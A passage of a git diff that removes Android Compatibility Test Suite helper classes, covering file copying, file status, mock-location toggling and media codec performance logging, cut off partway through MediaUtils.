-    /** Returns true if the device is a low ram device:
-     *  1. API level &gt;= O_MR1
-     *  2. device has feature LOW_RAM_FEATURE
-     */
-    public static boolean isLowRam() {
-        return ApiLevelUtil.isAtLeast(Build.VERSION_CODES.O_MR1) &&
-                hasSystemFeature(LOW_RAM_FEATURE);
-    }
-
-    private static Context getContext() {
-        return InstrumentationRegistry.getInstrumentation().getTargetContext();
-    }
-
-    private static PackageManager getPackageManager() {
-        return getContext().getPackageManager();
-    }
-
-    private static Configuration getConfiguration() {
-        return getContext().getResources().getConfiguration();
-    }
-
-    /** Returns true if the device has feature TELEPHONY_FEATURE */
-    public static boolean hasTelephony() {
-        return hasSystemFeature(TELEPHONY_FEATURE);
-    }
-
-    /** Returns true if the device has feature FEATURE_MICROPHONE */
-    public static boolean hasMicrophone() {
-        return hasSystemFeature(getPackageManager().FEATURE_MICROPHONE);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FileCopyHelper.java b/common/device-side/util/src/com/android/compatibility/common/util/FileCopyHelper.java
deleted file mode 100644
index f58dbd0..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/FileCopyHelper.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.ArrayList;
-
-/**
- * FileCopyHelper is used to copy files from resources to the
- * application directory and responsible for deleting the files.
- *
- * @see MediaStore_VideoTest
- * @see MediaStore_Images_MediaTest
- * @see MediaStore_Images_ThumbnailsTest
- */
-public class FileCopyHelper {
-    /** The context. */
-    private Context mContext;
-
-    /** The files added. */
-    private ArrayList<String> mFilesList;
-
-    /**
-     * Instantiates a new file copy helper.
-     *
-     * @param context the context
-     */
-    public FileCopyHelper(Context context) {
-        mContext = context;
-        mFilesList = new ArrayList<String>();
-    }
-
-    /**
-     * Copy the file from the resources with a filename.
-     *
-     * @param resId the res id
-     * @param fileName the file name
-     *
-     * @return the absolute path of the destination file
-     * @throws IOException
-     */
-    public String copy(int resId, String fileName) throws IOException {
-        InputStream source = mContext.getResources().openRawResource(resId);
-        OutputStream target = mContext.openFileOutput(fileName, Context.MODE_WORLD_READABLE);
-        copyFile(source, target);
-        mFilesList.add(fileName);
-        return mContext.getFileStreamPath(fileName).getAbsolutePath();
-    }
-
-    public void copyToExternalStorage(int resId, File path) throws IOException {
-        InputStream source = mContext.getResources().openRawResource(resId);
-        OutputStream target = new FileOutputStream(path);
-        copyFile(source, target);
-    }
-
-    private void copyFile(InputStream source, OutputStream target) throws IOException {
-        try {
-            byte[] buffer = new byte[1024];
-            for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
-                target.write(buffer, 0, len);
-            }
-        } finally {
-            if (source != null) {
-                source.close();
-            }
-            if (target != null) {
-                target.close();
-            }
-        }
-    }
-
-    /**
-     * Delete all the files copied by the helper.
-     */
-    public void clear(){
-        for (String path : mFilesList) {
-            mContext.deleteFile(path);
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FileUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/FileUtils.java
deleted file mode 100644
index ceada01..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/FileUtils.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-
-/** Bits and pieces copied from hidden API of android.os.FileUtils. */
-public class FileUtils {
-
-    public static final int S_IFMT  = 0170000;
-    public static final int S_IFSOCK = 0140000;
-    public static final int S_IFLNK = 0120000;
-    public static final int S_IFREG = 0100000;
-    public static final int S_IFBLK = 0060000;
-    public static final int S_IFDIR = 0040000;
-    public static final int S_IFCHR = 0020000;
-    public static final int S_IFIFO = 0010000;
-
-    public static final int S_ISUID = 0004000;
-    public static final int S_ISGID = 0002000;
-    public static final int S_ISVTX = 0001000;
-
-    public static final int S_IRWXU = 00700;
-    public static final int S_IRUSR = 00400;
-    public static final int S_IWUSR = 00200;
-    public static final int S_IXUSR = 00100;
-
-    public static final int S_IRWXG = 00070;
-    public static final int S_IRGRP = 00040;
-    public static final int S_IWGRP = 00020;
-    public static final int S_IXGRP = 00010;
-
-    public static final int S_IRWXO = 00007;
-    public static final int S_IROTH = 00004;
-    public static final int S_IWOTH = 00002;
-    public static final int S_IXOTH = 00001;
-
-    static {
-        System.loadLibrary("cts_jni");
-    }
-
-    public static class FileStatus {
-
-        public int dev;
-        public int ino;
-        public int mode;
-        public int nlink;
-        public int uid;
-        public int gid;
-        public int rdev;
-        public long size;
-        public int blksize;
-        public long blocks;
-        public long atime;
-        public long mtime;
-        public long ctime;
-
-        public boolean hasModeFlag(int flag) {
-            if (((S_IRWXU | S_IRWXG | S_IRWXO) & flag) != flag) {
-                throw new IllegalArgumentException("Inappropriate flag " + flag);
-            }
-            return (mode & flag) == flag;
-        }
-
-        public boolean isOfType(int type) {
-            if ((type & S_IFMT) != type) {
-                throw new IllegalArgumentException("Unknown type " + type);
-            }
-            return (mode & S_IFMT) == type;
-        }
-    }
-
-    /**
-     * @param path of the file to stat
-     * @param status object to set the fields on
-     * @param statLinks or don't stat links (lstat vs stat)
-     * @return whether or not we were able to stat the file
-     */
-    public native static boolean getFileStatus(String path, FileStatus status, boolean statLinks);
-
-    public native static String getUserName(int uid);
-
-    public native static String getGroupName(int gid);
-
-    public native static int setPermissions(String file, int mode);
-
-    /**
-     * Copy data from a source stream to destFile.
-     * Return true if succeed, return false if failed.
-     */
-    public static boolean copyToFile(InputStream inputStream, File destFile) {
-        try {
-            if (destFile.exists()) {
-                destFile.delete();
-            }
-            FileOutputStream out = new FileOutputStream(destFile);
-            try {
-                byte[] buffer = new byte[4096];
-                int bytesRead;
-                while ((bytesRead = inputStream.read(buffer)) >= 0) {
-                    out.write(buffer, 0, bytesRead);
-                }
-            } finally {
-                out.flush();
-                try {
-                    out.getFD().sync();
-                } catch (IOException e) {
-                }
-                out.close();
-            }
-            return true;
-        } catch (IOException e) {
-            return false;
-        }
-    }
-
-    public static void createFile(File file, int numBytes) throws IOException {
-        File parentFile = file.getParentFile();
-        if (parentFile != null) {
-            parentFile.mkdirs();
-        }
-        byte[] buffer = new byte[numBytes];
-        FileOutputStream output = new FileOutputStream(file);
-        try {
-            output.write(buffer);
-        } finally {
-            output.close();
-        }
-    }
-
-    public static byte[] readInputStreamFully(InputStream is) {
-        ByteArrayOutputStream os = new ByteArrayOutputStream();
-        byte[] buffer = new byte[32768];
-        int count;
-        try {
-            while ((count = is.read(buffer)) != -1) {
-                os.write(buffer, 0, count);
-            }
-            is.close();
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-        return os.toByteArray();
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/IBinderParcelable.java b/common/device-side/util/src/com/android/compatibility/common/util/IBinderParcelable.java
deleted file mode 100644
index f3c53fe..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/IBinderParcelable.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.IBinder;
-import android.os.Parcel;
-import android.os.Parcelable;
-
-public class IBinderParcelable implements Parcelable {
-    public IBinder binder;
-
-    public IBinderParcelable(IBinder source) {
-        binder = source;
-    }
-
-    public int describeContents() {
-        return 0;
-    }
-
-    public void writeToParcel(Parcel dest, int flags) {
-        dest.writeStrongBinder(binder);
-    }
-
-    public static final Parcelable.Creator<IBinderParcelable>
-        CREATOR = new Parcelable.Creator<IBinderParcelable>() {
-
-        public IBinderParcelable createFromParcel(Parcel source) {
-            return new IBinderParcelable(source);
-        }
-
-        public IBinderParcelable[] newArray(int size) {
-            return new IBinderParcelable[size];
-        }
-    };
-
-    private IBinderParcelable(Parcel source) {
-        binder = source.readStrongBinder();
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ImeAwareEditText.java b/common/device-side/util/src/com/android/compatibility/common/util/ImeAwareEditText.java
deleted file mode 100644
index db148bf..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ImeAwareEditText.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.util.AttributeSet;
-import android.view.View;
-import android.view.inputmethod.EditorInfo;
-import android.view.inputmethod.InputConnection;
-import android.view.inputmethod.InputMethodManager;
-import android.widget.EditText;
-
-public class ImeAwareEditText extends EditText {
-    private boolean mHasPendingShowSoftInputRequest;
-    final Runnable mRunShowSoftInputIfNecessary = () -> showSoftInputIfNecessary();
-
-    public ImeAwareEditText(Context context) {
-        super(context, null);
-    }
-
-    public ImeAwareEditText(Context context, AttributeSet attrs) {
-        super(context, attrs);
-    }
-
-    public ImeAwareEditText(Context context, AttributeSet attrs, int defStyleAttr) {
-        super(context, attrs, defStyleAttr);
-    }
-
-    public ImeAwareEditText(Context context, AttributeSet attrs, int defStyleAttr,
-            int defStyleRes) {
-        super(context, attrs, defStyleAttr, defStyleRes);
-    }
-
-    /**
-     * This method is called back by the system when the system is about to establish a connection
-     * to the current input method.
-     *
-     * <p>This is a good and reliable signal to schedule a pending task to call
-     * {@link InputMethodManager#showSoftInput(View, int)}.</p>
-     *
-     * @param editorInfo context about the text input field.
-     * @return {@link InputConnection} to be passed to the input method.
-     */
-    @Override
-    public InputConnection onCreateInputConnection(EditorInfo editorInfo) {
-        final InputConnection ic = super.onCreateInputConnection(editorInfo);
-        if (mHasPendingShowSoftInputRequest) {
-            removeCallbacks(mRunShowSoftInputIfNecessary);
-            post(mRunShowSoftInputIfNecessary);
-        }
-        return ic;
-    }
-
-    private void showSoftInputIfNecessary() {
-        if (mHasPendingShowSoftInputRequest) {
-            final InputMethodManager imm =
-                    getContext().getSystemService(InputMethodManager.class);
-            imm.showSoftInput(this, 0);
-            mHasPendingShowSoftInputRequest = false;
-        }
-    }
-
-    public void scheduleShowSoftInput() {
-        final InputMethodManager imm = getContext().getSystemService(InputMethodManager.class);
-        if (imm.isActive(this)) {
-            // This means that ImeAwareEditText is already connected to the IME.
-            // InputMethodManager#showSoftInput() is guaranteed to pass client-side focus check.
-            mHasPendingShowSoftInputRequest = false;
-            removeCallbacks(mRunShowSoftInputIfNecessary);
-            imm.showSoftInput(this, 0);
-            return;
-        }
-
-        // Otherwise, InputMethodManager#showSoftInput() should be deferred after
-        // onCreateInputConnection().
-        mHasPendingShowSoftInputRequest = true;
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/LocationUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/LocationUtils.java
deleted file mode 100644
index f233851..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/LocationUtils.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.Instrumentation;
-import android.util.Log;
-
-import java.io.IOException;
-
-public class LocationUtils {
-    private static String TAG = "LocationUtils";
-
-    public static void registerMockLocationProvider(Instrumentation instrumentation,
-            boolean enable) {
-        StringBuilder command = new StringBuilder();
-        command.append("appops set ");
-        command.append(instrumentation.getContext().getPackageName());
-        command.append(" android:mock_location ");
-        command.append(enable ? "allow" : "deny");
-        try {
-            SystemUtil.runShellCommand(instrumentation, command.toString());
-        } catch (IOException e) {
-            Log.e(TAG, "Error managing mock location app. Command: " + command, e);
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/MediaPerfUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/MediaPerfUtils.java
deleted file mode 100644
index 469e99a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/MediaPerfUtils.java
+++ /dev/null
@@ -1,176 +0,0 @@
-/*
- * Copyright 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.media.MediaFormat;
-import android.util.Range;
-
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import java.util.Arrays;
-import android.util.Log;
-
-public class MediaPerfUtils {
-    private static final String TAG = "MediaPerfUtils";
-
-    private static final int MOVING_AVERAGE_NUM_FRAMES = 10;
-    private static final int MOVING_AVERAGE_WINDOW_MS = 1000;
-
-    // allow a variance of 2x for measured frame rates (e.g. half of lower-limit to double of
-    // upper-limit of the published values). Also allow an extra 10% margin. This also acts as
-    // a limit for the size of the published rates (e.g. upper-limit / lower-limit <= tolerance).
-    private static final double FRAMERATE_TOLERANCE = 2.0 * 1.1;
-
-    /*
-     *  ------------------ HELPER METHODS FOR ACHIEVABLE FRAME RATES ------------------
-     */
-
-    /** removes brackets from format to be included in JSON. */
-    private static String formatForReport(MediaFormat format) {
-        String asString = "" + format;
-        return asString.substring(1, asString.length() - 1);
-    }
-
-    /**
-     * Adds performance header info to |log| for |codecName|, |round|, |configFormat|, |inputFormat|
-     * and |outputFormat|. Also appends same to |message| and returns the resulting base message
-     * for logging purposes.
-     */
-    public static String addPerformanceHeadersToLog(
-            DeviceReportLog log, String message, int round, String codecName,
-            MediaFormat configFormat, MediaFormat inputFormat, MediaFormat outputFormat) {
-        String mime = configFormat.getString(MediaFormat.KEY_MIME);
-        int width = configFormat.getInteger(MediaFormat.KEY_WIDTH);
-        int height = configFormat.getInteger(MediaFormat.KEY_HEIGHT);
-
-        log.addValue("round", round, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("codec_name", codecName, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("mime_type", mime, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("width", width, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("height", height, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("config_format", formatForReport(configFormat),
-                ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("input_format", formatForReport(inputFormat),
-                ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("output_format", formatForReport(outputFormat),
-                ResultType.NEUTRAL, ResultUnit.NONE);
-
-        message += " codec=" + codecName + " round=" + round + " configFormat=" + configFormat
-                + " inputFormat=" + inputFormat + " outputFormat=" + outputFormat;
-
-        Range<Double> reported =
-            MediaUtils.getVideoCapabilities(codecName, mime)
-                    .getAchievableFrameRatesFor(width, height);
-        if (reported != null) {
-            log.addValue("reported_low", reported.getLower(), ResultType.NEUTRAL, ResultUnit.FPS);
-            log.addValue("reported_high", reported.getUpper(), ResultType.NEUTRAL, ResultUnit.FPS);
-            message += " reported=" + reported.getLower() + "-" + reported.getUpper();
-        }
-
-        return message;
-    }
-
-    /**
-     * Adds performance statistics based on the raw |stats| to |log|. Also prints the same into
-     * logcat. Returns the "final fps" value.
-     */
-    public static double addPerformanceStatsToLog(
-            DeviceReportLog log, MediaUtils.Stats durationsUsStats, String message) {
-
-        MediaUtils.Stats frameAvgUsStats =
-            durationsUsStats.movingAverage(MOVING_AVERAGE_NUM_FRAMES);
-        log.addValue(
-                "window_frames", MOVING_AVERAGE_NUM_FRAMES, ResultType.NEUTRAL, ResultUnit.COUNT);
-        logPerformanceStats(log, frameAvgUsStats, "frame_avg_stats",
-                message + " window=" + MOVING_AVERAGE_NUM_FRAMES);
-
-        MediaUtils.Stats timeAvgUsStats =
-            durationsUsStats.movingAverageOverSum(MOVING_AVERAGE_WINDOW_MS * 1000);
-        log.addValue("window_time", MOVING_AVERAGE_WINDOW_MS, ResultType.NEUTRAL, ResultUnit.MS);
-        double fps = logPerformanceStats(log, timeAvgUsStats, "time_avg_stats",
-                message + " windowMs=" + MOVING_AVERAGE_WINDOW_MS);
-
-        log.setSummary("fps", fps, ResultType.HIGHER_BETTER, ResultUnit.FPS);
-        return fps;
-    }
-
-    /**
-     * Adds performance statistics based on the processed |stats| to |log| using |prefix|.
-     * Also prints the same into logcat using |message| as the base message. Returns the fps value
-     * for |stats|. |prefix| must be lowercase alphanumeric underscored format.
-     */
-    private static double logPerformanceStats(
-            DeviceReportLog log, MediaUtils.Stats statsUs, String prefix, String message) {
-        final String[] labels = {
-            "min", "p5", "p10", "p20", "p30", "p40", "p50", "p60", "p70", "p80", "p90", "p95", "max"
-        };
-        final double[] points = {
-             0,     5,    10,    20,    30,    40,    50,    60,    70,    80,    90,    95,    100
-        };
-
-        int num = statsUs.getNum();
-        long avg = Math.round(statsUs.getAverage());
-        long stdev = Math.round(statsUs.getStdev());
-        log.addValue(prefix + "_num", num, ResultType.NEUTRAL, ResultUnit.COUNT);
-        log.addValue(prefix + "_avg", avg / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
-        log.addValue(prefix + "_stdev", stdev / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
-        message += " num=" + num + " avg=" + avg + " stdev=" + stdev;
-        final double[] percentiles = statsUs.getPercentiles(points);
-        for (int i = 0; i < labels.length; ++i) {
-            long p = Math.round(percentiles[i]);
-            message += " " + labels[i] + "=" + p;
-            log.addValue(prefix + "_" + labels[i], p / 1000., ResultType.NEUTRAL, ResultUnit.MS);
-        }
-
-        // print result to logcat in case test aborts before logs are written
-        Log.i(TAG, message);
-
-        return 1e6 / percentiles[points.length - 2];
-    }
-
-    /** Verifies |measuredFps| against reported achievable rates. Returns null if at least
-     *  one measurement falls within the margins of the reported range. Otherwise, returns
-     *  an error message to display.*/
-    public static String verifyAchievableFrameRates(
-            String name, String mime, int w, int h, double... measuredFps) {
-        Range<Double> reported =
-            MediaUtils.getVideoCapabilities(name, mime).getAchievableFrameRatesFor(w, h);
-        String kind = "achievable frame rates for " + name + " " + mime + " " + w + "x" + h;
-        if (reported == null) {
-            return "Failed to get " + kind;
-        }
-        double lowerBoundary1 = reported.getLower() / FRAMERATE_TOLERANCE;
-        double upperBoundary1 = reported.getUpper() * FRAMERATE_TOLERANCE;
-        double lowerBoundary2 = reported.getUpper() / Math.pow(FRAMERATE_TOLERANCE, 2);
-        double upperBoundary2 = reported.getLower() * Math.pow(FRAMERATE_TOLERANCE, 2);
-        Log.d(TAG, name + " " + mime + " " + w + "x" + h +
-                " lowerBoundary1 " + lowerBoundary1 + " upperBoundary1 " + upperBoundary1 +
-                " lowerBoundary2 " + lowerBoundary2 + " upperBoundary2 " + upperBoundary2 +
-                " measured " + Arrays.toString(measuredFps));
-
-        for (double measured : measuredFps) {
-            if (measured >= lowerBoundary1 && measured <= upperBoundary1
-                    && measured >= lowerBoundary2 && measured <= upperBoundary2) {
-                return null;
-            }
-        }
-
-        return "Expected " + kind + ": " + reported + ".\n"
-                + "Measured frame rate: " + Arrays.toString(measuredFps) + ".\n";
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
deleted file mode 100644
index c81f648..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
+++ /dev/null
@@ -1,1243 +0,0 @@
-/*
- * Copyright 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.content.res.AssetFileDescriptor;
-import android.drm.DrmConvertedStatus;
-import android.drm.DrmManagerClient;
-import android.graphics.ImageFormat;
-import android.graphics.Rect;
-import android.media.Image;
-import android.media.Image.Plane;
-import android.media.MediaCodec;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.VideoCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.net.Uri;
-import android.util.Log;
-import android.util.Range;
-
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import java.lang.reflect.Method;
-import java.nio.ByteBuffer;
-import java.security.MessageDigest;
-
-import static java.lang.reflect.Modifier.isPublic;
-import static java.lang.reflect.Modifier.isStatic;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-
-import static junit.framework.Assert.assertTrue;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.RandomAccessFile;
-
-public class MediaUtils {
-    private static final String TAG = "MediaUtils";
-
-    /*
-     *  ----------------------- HELPER METHODS FOR SKIPPING TESTS -----------------------
-     */
-    private static final int ALL_AV_TRACKS = -1;
-
-    private static final MediaCodecList sMCL = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-
-    /**
-     * Returns the test name (heuristically).
-     *
-     * Since it uses heuristics, this method has only been verified for media
-     * tests. This centralizes the way to signal errors during a test.
-     */
-    public static String getTestName() {
-        return getTestName(false /* withClass */);
-    }
-
-    /**
-     * Returns the test name with the full class (heuristically).
-     *
-     * Since it uses heuristics, this method has only been verified for media
-     * tests. This centralizes the way to signal errors during a test.
-     */
-    public static String getTestNameWithClass() {
-        return getTestName(true /* withClass */);
-    }
-
-    private static String getTestName(boolean withClass) {
-        int bestScore = -1;
-        String testName = "test???";
-        Map<Thread, StackTraceElement[]> traces = Thread.getAllStackTraces();
-        for (Map.Entry<Thread, StackTraceElement[]> entry : traces.entrySet()) {
-            StackTraceElement[] stack = entry.getValue();
-            for (int index = 0; index < stack.length; ++index) {
-                // method name must start with "test"
-                String methodName = stack[index].getMethodName();
-                if (!methodName.startsWith("test")) {
-                    continue;
-                }
-
-                int score = 0;
-                // see if there is a public non-static void method that takes no argument
-                Class<?> clazz;
-                try {
-                    clazz = Class.forName(stack[index].getClassName());
-                    ++score;
-                    for (final Method method : clazz.getDeclaredMethods()) {
-                        if (method.getName().equals(methodName)
-                                && isPublic(method.getModifiers())
-                                && !isStatic(method.getModifiers())
-                                && method.getParameterTypes().length == 0
-                                && method.getReturnType().equals(Void.TYPE)) {
-                            ++score;
-                            break;
-                        }
-                    }
-                    if (score == 1) {
-                        // if we could read the class, but method is not public void, it is
-                        // not a candidate
-                        continue;
-                    }
-                } catch (ClassNotFoundException e) {
-                }
-
-                // even if we cannot verify the method signature, there are signals in the stack
-
-                // usually test method is invoked by reflection
-                int depth = 1;
-                while (index + depth < stack.length
-                        && stack[index + depth].getMethodName().equals("invoke")
-                        && stack[index + depth].getClassName().equals(
-                                "java.lang.reflect.Method")) {
-                    ++depth;
-                }
-                if (depth > 1) {
-                    ++score;
-                    // and usually test method is run by runMethod method in android.test package
-                    if (index + depth < stack.length) {
-                        if (stack[index + depth].getClassName().startsWith("android.test.")) {
-                            ++score;
-                        }
-                        if (stack[index + depth].getMethodName().equals("runMethod")) {
-                            ++score;
-                        }
-                    }
-                }
-
-                if (score > bestScore) {
-                    bestScore = score;
-                    testName = methodName;
-                    if (withClass) {
-                        testName = stack[index].getClassName() + "." + testName;
-                    }
-                }
-            }
-        }
-        return testName;
-    }
-
-    /**
-     * Finds test name (heuristically) and prints out standard skip message.
-     *
-     * Since it uses heuristics, this method has only been verified for media
-     * tests. This centralizes the way to signal a skipped test.
-     */
-    public static void skipTest(String tag, String reason) {
-        Log.i(tag, "SKIPPING " + getTestName() + "(): " + reason);
-        DeviceReportLog log = new DeviceReportLog("CtsMediaSkippedTests", "test_skipped");
-        try {
-            log.addValue("reason", reason, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue(
-                    "test", getTestNameWithClass(), ResultType.NEUTRAL, ResultUnit.NONE);
-            log.submit();
-        } catch (NullPointerException e) { }
-    }
-
-    /**
-     * Finds test name (heuristically) and prints out standard skip message.
-     *
-     * Since it uses heuristics, this method has only been verified for media
-     * tests.  This centralizes the way to signal a skipped test.
-     */
-    public static void skipTest(String reason) {
-        skipTest(TAG, reason);
-    }
-
-    public static boolean check(boolean result, String message) {
-        if (!result) {
-            skipTest(message);
-        }
-        return result;
-    }
-
-    /*
-     *  ------------------- HELPER METHODS FOR CHECKING CODEC SUPPORT -------------------
-     */
-
-    public static boolean isGoogle(String codecName) {
-        codecName = codecName.toLowerCase();
-        return codecName.startsWith("omx.google.")
-                || codecName.startsWith("c2.android.")
-                || codecName.startsWith("c2.google.");
-    }
-
-    // returns the list of codecs that support any one of the formats
-    private static String[] getCodecNames(
-            boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        ArrayList<String> result = new ArrayList<>();
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (info.isEncoder() != isEncoder) {
-                continue;
-            }
-            if (isGoog != null && isGoogle(info.getName()) != isGoog) {
-                continue;
-            }
-
-            for (MediaFormat format : formats) {
-                String mime = format.getString(MediaFormat.KEY_MIME);
-
-                CodecCapabilities caps = null;
-                try {
-                    caps = info.getCapabilitiesForType(mime);
-                } catch (IllegalArgumentException e) {  // mime is not supported
-                    continue;
-                }
-                if (caps.isFormatSupported(format)) {
-                    result.add(info.getName());
-                    break;
-                }
-            }
-        }
-        return result.toArray(new String[result.size()]);
-    }
-
-    /* Use isGoog = null to query all decoders */
-    public static String[] getDecoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
-        return getCodecNames(false /* isEncoder */, isGoog, formats);
-    }
-
-    public static String[] getDecoderNames(MediaFormat... formats) {
-        return getCodecNames(false /* isEncoder */, null /* isGoog */, formats);
-    }
-
-    /* Use isGoog = null to query all decoders */
-    public static String[] getEncoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
-        return getCodecNames(true /* isEncoder */, isGoog, formats);
-    }
-
-    public static String[] getEncoderNames(MediaFormat... formats) {
-        return getCodecNames(true /* isEncoder */, null /* isGoog */, formats);
-    }
-
-    public static String[] getDecoderNamesForMime(String mime) {
-        MediaFormat format = new MediaFormat();
-        format.setString(MediaFormat.KEY_MIME, mime);
-        return getCodecNames(false /* isEncoder */, null /* isGoog */, format);
-    }
-
-    public static String[] getEncoderNamesForMime(String mime) {
-        MediaFormat format = new MediaFormat();
-        format.setString(MediaFormat.KEY_MIME, mime);
-        return getCodecNames(true /* isEncoder */, null /* isGoog */, format);
-    }
-
-    public static void verifyNumCodecs(
-            int count, boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
-        String desc = (isEncoder ? "encoders" : "decoders") + " for "
-                + (formats.length == 1 ? formats[0].toString() : Arrays.toString(formats));
-        if (isGoog != null) {
-            desc = (isGoog ? "Google " : "non-Google ") + desc;
-        }
-
-        String[] codecs = getCodecNames(isEncoder, isGoog, formats);
-        assertTrue("test can only verify " + count + " " + desc + "; found " + codecs.length + ": "
